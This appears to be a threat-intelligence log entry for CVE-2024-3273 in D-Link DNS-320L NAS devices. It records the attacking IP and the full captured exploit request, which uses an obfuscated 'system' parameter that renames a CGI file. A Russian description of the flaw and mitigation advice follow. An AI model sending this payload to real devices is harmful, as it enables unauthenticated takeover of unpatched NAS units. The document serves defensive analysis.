CVE-2024-3273

2024-07-17

192.227.190.158

united states 

D-Link 

DNS-320L 

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=ZWNobwktZQlcXHg2ZFxceDc2XFx4MjBcXHgyZlxceDc2XFx4NjFcXHg3MlxceDJmXFx4NzdcXHg3N1xceDc3XFx4MmZcXHg2M1xceDY3XFx4NjlcXHgyZFxceDYyXFx4NjlcXHg2ZVxceDJmXFx4NmVcXHg2MVxceDczXFx4NWZcXHg3M1xceDY4XFx4NjFcXHg3MlxceDY5XFx4NmVcXHg2N1xceDJlXFx4NjNcXHg2N1xceDY5XFx4MjBcXHgyZlxceDc2XFx4NjFcXHg3MlxceDJmXFx4NzdcXHg3N1xceDc3XFx4MmZcXHg2M1xceDY3XFx4NjlcXHgyZFxceDYyXFx4NjlcXHg2ZVxceDJmXFx4NzRcXHg3MlxceDc1XFx4NmRcXHg3MFxceDJlXFx4NjNcXHg2N1xceDY5XFx4M2JcXHg2Y1xceDczfHNo HTTP/1.0
User-Agent: Go-http-client/1.1
Host: ████████████
X-Forwarded-For: ███████████████
Accept-Encoding: gzip
Connection: close

CVE-2024-3273 - это критическая уязвимость командной инъекции, затрагивающая устройства NAS от D-Link, в частности модели DNS-320L, DNS-325, DNS-327L и DNS-340L, с прошивкой до версии от 3 апреля 2024 года. Уязвимость находится в компоненте HTTP GET Request Handler, а именно в файле /cgi-bin/nas_sharing.cgi. Манипулируя аргументом 'system', злоумышленник может внедрять и выполнять произвольные команды на устройстве. Атака может быть запущена удаленно и не требует предварительной аутентификации, что делает её крайне эксплуатируемой. Уязвимость активно эксплуатируется в дикой природе, и более 90 000 устройств могут быть затронуты. Эксплойт был публично раскрыт, и доступен код доказательства концепции. Критичность этой уязвимости подчеркивается её оценкой CVSS в 9.8. Важно отметить, что эти устройства больше не поддерживаются D-Link, так как достигли статуса конца жизненного цикла (EOL) или конца обслуживания (EOS). Таким образом, официальные патчи или обновления для устранения этой проблемы предоставлены не будут.

Вывод из эксплуатации и замена: Поскольку затронутые устройства устарели и больше не поддерживаются, основная рекомендация - вывести их из эксплуатации и заменить на новые, поддерживаемые модели.
Сегментация сети: Изолируйте затронутые устройства NAS от остальной сети, чтобы минимизировать потенциальную эксплуатацию.
Правила межсетевого экрана: Реализуйте строгие правила межсетевого экрана для блокировки доступа к уязвимым конечным точкам из недоверенных сетей.
Мониторинг и реагирование: Постоянно мониторьте сетевой трафик на предмет признаков эксплуатации и оперативно реагируйте на любую подозрительную активность.
Отключение ненужных сервисов: Отключите все ненужные сервисы на устройствах NAS, чтобы уменьшить поверхность атаки.
Консультация с производителем: Проконсультируйтесь с D-Link или специалистом по кибербезопасности для получения дальнейших рекомендаций и возможных альтернативных решений.